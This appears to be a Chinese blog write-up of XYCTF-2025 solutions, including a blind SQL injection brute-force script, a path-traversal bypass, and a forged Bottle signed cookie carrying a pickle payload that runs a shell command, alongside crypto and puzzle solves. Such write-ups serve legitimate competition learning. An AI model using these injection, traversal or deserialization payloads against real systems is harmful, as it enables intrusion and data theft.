XYCTF-2025题解

XYCTF-2025题解

周五 4月 04 2025
1946 字 · 15 分钟

比赛期间大多数时间在上课,没写出几题可惜了

XGCTF

ctfshow靶场上找到出的题,原型链污染,浏览器直接搜名字,正常匹配到博客名,浏览所有博客,最后一个看到原型链污染,翻看发现没有flag,F12查看源码,发现base64的flag

真签到

在原来的[-]前面加.,放入Brainfuck/OoK加密解密 - Bugku CTF平台

PYTHON
>+++++++++++++++++[<++++++>-+-+-+-]<.[-]>++++++++++++[<+++++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++[<+++>-+-+-+-]<.[-]>+++++++++++++++++[<+++>-+-+-+-]<.[-]>++++++++++++[<+++++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>++++++++[<++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<.[-]>++++++++[<++++++>-+-+-+-]<.[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.[-]>+++++++++++[<++++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>++++++++++++[<+++++++>-+-+-+-]<.[-]>++++++++++[<+++++++>-+-+-+-]<.[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.[-]>++++++++++[<+++++>-+-+-+-]<.[-]>++++++++[<++++++>-+-+-+-]<.[-]>++++++++++[<+++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-+-+-+-]<.[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.[-]>+++++++++++++++++++++++[<+++>-+-+-+-]<.[-]>+++++++++++[<++++++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-+-+-+-]<.[-]>++++++++[<++++++>-+-+-+-]<.[-]>+++++++++++[<+++++>-+-+-+-]<.[-]>+++++++++++++++++++[<+++++>-+-+-+-]<.[-]>+++++++[<+++++++>-+-+-+-]<.[-]>+++++++++++++++++++++++++++++[<++++>-+-+-+-]<.[-]>+++++++++++[<+++>-+-+-+-]<.[-]>+++++++++++++++++++++++++[<+++++>-+-+-+-]<.[-]

flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}

Division

PYTHON
from randcrack import RandCrack
from pwn import *

rc = RandCrack()
r = remote('47.94.172.18',28799)

for _ in range(624):
    r.sendlineafter(b': >>> ', b'1')
    r.sendlineafter(b'input the denominator: >>> ', b'1')
    line = r.recvline().decode().strip()
    nominator = int(line.split('//')[0])
    rc.submit(nominator)

rand1 = rc.predict_getrandbits(11000)
rand2 = rc.predict_getrandbits(10000)
correct_ans = rand1 // rand2

r.sendlineafter(b': >>> ',b'2')
print(correct_ans)
r.sendlineafter(b'input the answer: >>> ', str(correct_ans).encode())

r.interactive()

# print(r.recvuntil(b'flag: '))
# print(r.recvuntil(b' '))
# # print(r.recvall().decode())
# response = r.recvall().decode()

XYCTF{c4d789f5-ded6-4039-a689-0776f6fa904e}

re

PYTHON
import re

open_file = open("re.txt", "r")
file_content = open_file.read()

# 使用正则表达式提取所有chr(...)中的表达式
pattern = r"chr\(\s*([^)]+)\s*\)"
matches = re.findall(pattern, file_content)

# 计算每个表达式并转换为字符
result = []
for expr in matches:
    try:
        # 计算表达式值并取整
        value = int(eval(expr))
        # 转换为字符
        result.append(chr(value))
    except:
        result.append("?")  # 异常处理(可选)

# 拼接所有字符得到最终代码
generated_code = "".join(result)
print(generated_code)
PYTHON
def rc4_decrypt(cipher_hex, key):
    # 将十六进制字符串转为字节序列
    cipher_bytes = bytes.fromhex(cipher_hex)
    # 初始化S盒和密钥
    s = list(range(256))
    j = 0
    key_bytes = [ord(c) for c in key]
    key_len = len(key_bytes)

    # KSA 密钥调度算法
    for i in range(256):
        j = (j + s[i] + key_bytes[i % key_len]) % 256
        s[i], s[j] = s[j], s[i]

    # PRGA 伪随机生成算法
    i = j = 0
    plain = []
    for byte in cipher_bytes:
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        k = s[(s[i] + s[j]) % 256]
        plain_byte = byte ^ k  # 解密即加密的逆过程
        plain.append(plain_byte)

    # 将字节转为字符串
    return bytes(plain).decode('latin-1')

# 预设的密文和密钥
wefbuwiue = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4"
key = "rc4key"

# 解密得到flag
flag = rc4_decrypt(wefbuwiue, key)
print("Flag:", flag)
# flag{We1c0me_t0_XYCTF_2025_reverse_ch@lleng3_by_th3_w@y_p3cd0wn's_chall_is_r3@lly_gr3@t_&_fuN!}
# md5:5f9f46c147645dd1e2c8044325d4f93c

sql

fuzz一下,ban了好多

1’

name=5’ passwd=7

name=2’ password=3’

猜测后台sql语句是

PYTHON
select xxx from xxx where name = '5\'' and passwd = '7''
PYTHON
import requests
import string

# 目标URL和配置
target_url = "http://url"
def brute_force_dbname(length):
    db_name = ""
    chars = string.ascii_lowercase + string.digits + "_" +string.ascii_uppercase

    print("[*] 正在爆破数据库名...")
    for position in range(1, length + 1):
        for char in chars:
            #payload = f"username=admin'%09OR%09substring(database()%09FROM%09{position}%09FOR%091)='{char}'%23&password=1"
            #payload = f"username=admin'%09OR%09substring((select%09table_name%09FROM%09information_schema.tables%09where%09table_schema='testdb'%09limit%091)%09FROM%09{position}%09FOR%091)='{char}'%23&password=1" #double_check
            #payload = f"username=admin'%09OR%09substring((select%09column_name%09FROM%09information_schema.columns%09where%09table_name='double_check'%09limit%091)%09FROM%09{position}%09FOR%091)='{char}'%23&password=1" #secret
            payload = f"username=admin'%09OR%09substring((select%09secret%09FROM%09double_check%09limit%091)%09FROM%09{position}%09FOR%091)='{char}'%23&password=1" #dtfrtkcc0czkoua9s

            headers = {
                'Content-Type': 'application/x-www-form-urlencoded'
            }

            response = requests.post(
                target_url,
                data=payload,
                headers=headers,
                allow_redirects=False
            )
            if response.status_code == 302:
                db_name += char
                print(f"[+] 当前进度: {db_name.ljust(length, '*')}")
                break
        else:
            db_name += "?"
            print(f"[!] 第{position}位字符识别失败")

    print(f"[+] 数据库名可能是: {db_name}")
    return db_name

if __name__ == "__main__":
    brute_force_dbname(50)

signin

写的很破防

PYTHON
# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=5000, debug=False)

直接访问/secret,cookie中返回了name

PYTHON
name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"

根据pickle序列化,后半部分ga头大概能猜出后面的是可以破开的,load一下

PYTHON
import pickle
from base64 import *

#图方便就放一起了
enc="gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"
msg=['name', {'name': 'guest'}]
# enc = "gASVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFYWRtaW6Uc2Uu"
#['name', {'name': 'admin'}]
print(pickle.loads(b64decode(enc)))

可以看到出了['name', {'name': 'guest'}]结合函数secret_page()显然是一个鉴权题,跟进看一下。

PYTHON
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"

一步步看,发现要伪造cookie还要知道secret,跟进

PYTHON
with open('../../secret.txt', 'r') as f:
    secret = f.read()

同时还提供了download函数

PYTHON
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

request.query.filename就是url传filename的意思http://xxxxxx:5000/download?filename=xxx.xx

然后卡住了,测试这个功能的时候我用的是提供的文件名main.py,,结果文件名是app.py,畜生啊

当然,由于'../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name的存在,我们不能直接../../secret.txt要绕过,这里又卡了半天

尝试了url编码绕过,Unicode编码绕过,…/…/,…//…//,结果最后是./.././../,破防

得到secret,把app.py拿下来,把guest改成admin在本地直接起一个,访问两次/secret拿到admin密钥。

PYTHON
Hell0_H@cker_Y0u_A3r_Sm@r7
PYTHON
name="!Q2i4b0GcN4AM+eI0/Br6YuNIftiqf3hm53bC67S2HUM=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFYWRtaW6Uc2Uu"

设置cookie直接进,给我们的main.py和app.py是不一样的

PYTHON
try:
    with open('../../secret.txt', 'r') as f:
        secret = f.read()
except:
    print("No secret file found, using default secret")
    secret = "secret"

所以这里我们再用的就是secret=“secret”了

签到题应该不会太难,在Bottle中,当使用签名Cookie时,Cookie的值会被格式化为**!signature?data**,那就常规思路打r指令,当然,由于要保持session进行rce,data部分就不用app.py起了,拷打一下ai出个脚本。

PYTHON
import pickle
import base64
import hmac
import hashlib

def forge_signed_cookie(data, secret):
    # 1. Pickle 序列化
    serialized_data = pickle.dumps(data)

    # 2. Base64 编码数据部分
    data_b64 = base64.urlsafe_b64encode(serialized_data).decode().strip("=")

    # 3. 计算 HMAC 签名
    signature_raw = hmac.new(
        secret.encode("utf-8"),
        data_b64.encode("utf-8"),
        hashlib.sha256
    ).digest()

    # 4. Base64 编码签名
    signature_b64 = base64.urlsafe_b64encode(signature_raw).decode().strip("=")

    # 组合 Cookie
    return f"!{signature_b64}?{data_b64}"

# 示例用法
data = {"name": "admin"}
secret = "your-secret-key"
cookie = forge_signed_cookie(data, secret)
print("Forged Cookie:", cookie)

照着随便改改,值得注意的是由于flag的uuid的不确定,我们这里用*直接匹配flag文件,写入到flag.txt中,这样就不用看根目录下的文件有什么了。

PYTHON
import requests
import pickle,pickletools
from base64 import b64encode, b64decode
import hmac, hashlib

session=requests.Session()
secret = b"Hell0_H@cker_Y0u_A3r_Sm@r7"

def tobytes(s, enc='utf8'):
    if isinstance(s, str):
        return s.encode(enc)
    return b'' if s is None else bytes(s)

def tostr(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return str("" if s is None else s)

class payload(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('cat /flag*>/flag.txt').read()",))

def signin(secret,encoded):
    signin = b64encode(
        hmac.new(
            tobytes(secret),
            encoded,
            hashlib.sha256
        ).digest())
    return signin

if __name__ == '__main__':
    url = input("请输入要攻击的url:")
    url1 = url + '/secret'
    url2 = url + '/download?filename=./.././../flag.txt'
    data = payload()
    encoded = b64encode(pickle.dumps(data))
    signin = signin(secret, encoded)
    value = tostr(tobytes('!') + signin + tobytes('?') + encoded)
    re=session.get(url1)
    cookie={"name":value}
    re=session.get(url1,cookies=cookie)
    re=session.get(url2)
    print(re.text)

puzzle

通过yaki绕过右键禁用拿到源码

PYTHON
<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>拼图</title>
    <link rel="stylesheet" type="text/css" href="./css/puzzle.css" />
  </head>
  <body>
    <h1>Infernity师傅说,你要是能在两秒内解决这个puzzl,他就给你flag</h1>
    <canvas id="background" width="450px" height="450px"></canvas>
    <script>
      window.addEventListener("contextmenu", function (ev) {
        ev.preventDefault();
        alert("你想干嘛?");
        return false;
      });
      document.addEventListener("keydown", function (ev) {
        ev.preventDefault();
        alert("你想干嘛?");
        return false;
      });
    </script>
  </body>
  <script src="./js/puzzle.js"></script>
</html>

再把puzzle.js拿下来,5000多行,实在有点多,就不放了,函数实在是太多了头要昏掉,一个一个看函数显然是不可行的,这个游戏显然可以正常做法的,但是常人肯定完成不了,所以结合html,要得到flag大概率会用alert弹出来,事实证明我是对的。CTRL+F查找alert发现5000多行只有两个,显然一个是小于两秒完成puzzle一个是大于两秒完成puzzle,那么我们直接把逻辑调换一下不就可以绕过了吗,把<换成>

本地访问html,发现imge并不是捆绑在js里的,禁用JavaScript访问题页,开着F12找到png的相对路径,遍历下载,css文件同理,并放在同样的相对路径下,网上随便找个教程写出puzzle,当然懒的话可以化成华容道给ai

flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}

RSA

PYTHON
from Crypto.Cipher import ChaCha20
import hashlib

# 题目原始数据
n = 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753
mh = [3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016, 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552]
C = [5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760, 21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752]
enc = b'\x9c\xc4n\x8dF\xd9\x9e\xf4\x05\x82!\xde\xfe\x012$\xd0\x8c\xaf\xfb\rEb(\x04)\xa1\xa6\xbaI2J\xd2\xb2\x898\x11\xe6x\xa9\x19\x00pn\xf6rs- \xd2\xd1\xbe\xc7\xf51.\xd4\xd2 \xe7\xc6\xca\xe5\x19\xbe'

# 从mh和C中提取实部/虚部
mh_re, mh_im = mh[0], mh[1]
C_re, C_im = C[0], C[1]

# 构造Coppersmith多项式
R.<x> = PolynomialRing(Zmod(n), 'x')
A = mh_re + x  # m.re = mh_re + x
poly = 64*A^9 - 48*A^6*C_re - (15*C_re^2 + 27*C_im^2)*A^3 - C_re^3
poly = poly.monic()  # 确保首项系数为1

# 寻找128位小根
x_bound = 2^128
roots = poly.small_roots(X=x_bound, beta=0.43, epsilon=0.02)

if roots:
    x_val = int(roots[0])
    A_val = mh_re + x_val  # 恢复m.re

    # 计算m.im
    denominator = (8*A_val^3 + C_re) % n
    inv_denominator = inverse_mod(denominator, n)
    B_val = (3 * A_val * C_im * inv_denominator) % n  # B = m.im
    y_val = (B_val - mh_im) % (2^128)  # 低位y

    # 验证方程
    valid = True
    expected_re = (A_val^3 - 3*A_val*B_val^2) % n
    expected_im = (3*A_val^2*B_val - B_val^3) % n
    if expected_re != C_re % n or expected_im != C_im % n:
        valid = False

    if valid:
        # 生成密钥并解密
        key = hashlib.sha256(str(A_val + B_val).encode()).digest()
        cipher = ChaCha20.new(key=key, nonce=b'Pr3d1ctmyxjj')
        flag = cipher.decrypt(enc)
        print(f"解密成功!Flag: {flag.decode()}")
    else:
        print("验证失败:恢复的m不满足方程")
else:
    print("未找到有效根,请调整参数重试")
PYTHON
XYCTF{Welcome_to_XYCTF_Now_let_us_together_play_Crypto_challenge}


Thanks for reading!

XYCTF-2025题解

周五 4月 04 2025
1946 字 · 15 分钟